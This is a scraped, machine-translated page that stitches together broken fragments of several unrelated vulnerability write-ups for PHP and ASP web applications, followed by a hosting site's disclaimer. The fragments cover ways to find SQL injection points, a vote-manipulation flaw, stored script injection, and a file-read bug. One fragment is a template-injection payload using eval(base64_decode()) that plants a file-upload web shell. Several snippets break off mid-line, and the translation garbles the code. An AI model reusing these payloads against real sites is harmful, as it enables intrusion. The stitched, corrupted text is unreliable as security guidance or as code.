Generally, cainiao like me will use the following method:
1: Manually test
2: Use mingkido or a D to directly browse the page to find injection points.
3: Search Engine site: xxx.com inurl: php or asp
4: tools like safe3 jsky automatically
An error occurred while using ajax to leave a message. this is because after the message content is written, you can submit the content through ajax and add the message content to the page using js. when browsing the message, it is also requested
User-submitted data
The major weakness of many PHP programs is not the problem of the PHP language, but caused by the low security awareness of programmers. Therefore, you must always pay attention to the possible problems in each piece of code to
Team: t00ls Author: Cond0r
Code.
Vote. php
If ($ _ REQUEST ['op'] = 'Poll '){
If ($ _ POST ['op'] & $ _ POST ['vtid']) // submit the Post
{
/* Determine whether a ticket has been cast for 24 = 86400 hours */
$ Times = 11600;
$ Add_ip = true;
$
Brief description: allows users to top or bottom a video without restrictions.
Detailed Description: unlimited top or step on a video
Proof of vulnerability: http://v.youku.com/v_show/id_XMzE1ODYzOTEy.html
First, check the current top and top
Author: left
The test environment is win7sp1 + iis7.5 + mysql5.1, the target is a small phpcms website, the address of the injection exists is http://www.bkjia.com/show. php? Id = 2
For the first time, I wrote an article ......
1. mysql
Brief description: The description of the circle is not filtered when the circle is created or edited. You can insert external JS file references. The administrator can seek help when viewing the background circle list. Run the external JS file
1. user_reg.asp
'Register
Case "user_reg_do"
User_name = trim (request. form ("user_name "))
User_pass = trim (request. form ("user_pass "))
User_pass_again = trim (request. form ("user_pass_again "))
User_mail = trim (request. form ("user_mail "
Register an id first
Submit a ticket as follows:
{Php} eval (base64_decode ('commandid too many commandid = '); {/php}
After base64 decryption:
$ Code =
Echo ' ';
Echo ' ';
If ($ _ POST ['_ upl'] = "Upload "){
If (@ copy ($ _ FILES
Later, I continued to look at it and found a common injection point that does not need to be logged on to each version, and added a path to it. Even if the sa cannot execute commands, the component cannot be recovered. As long as the administrator
(1) mysql_real_escape_string -- escape special characters in the strings used in SQL statements, and take into account the usage of the connected current character set as follows:
$sql = "select count(*) as ctr from users where
In/admin/uplodes/set_page.php: the place where arbitrary files are read:
elseif ($action=='get_page_data'){require(PBBLOG_ROOT . '/includes/json.class.php');$json = new JSON;$file=$_POST['template_file'];$res=array('type'=>'get_page_data','content'
Exp:
URL: Email:
Replace localhost with the domain name and email address of the target site. Enter your email address and click Submit. The teenager will go to the email address you just filled in and click the link to set the account
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service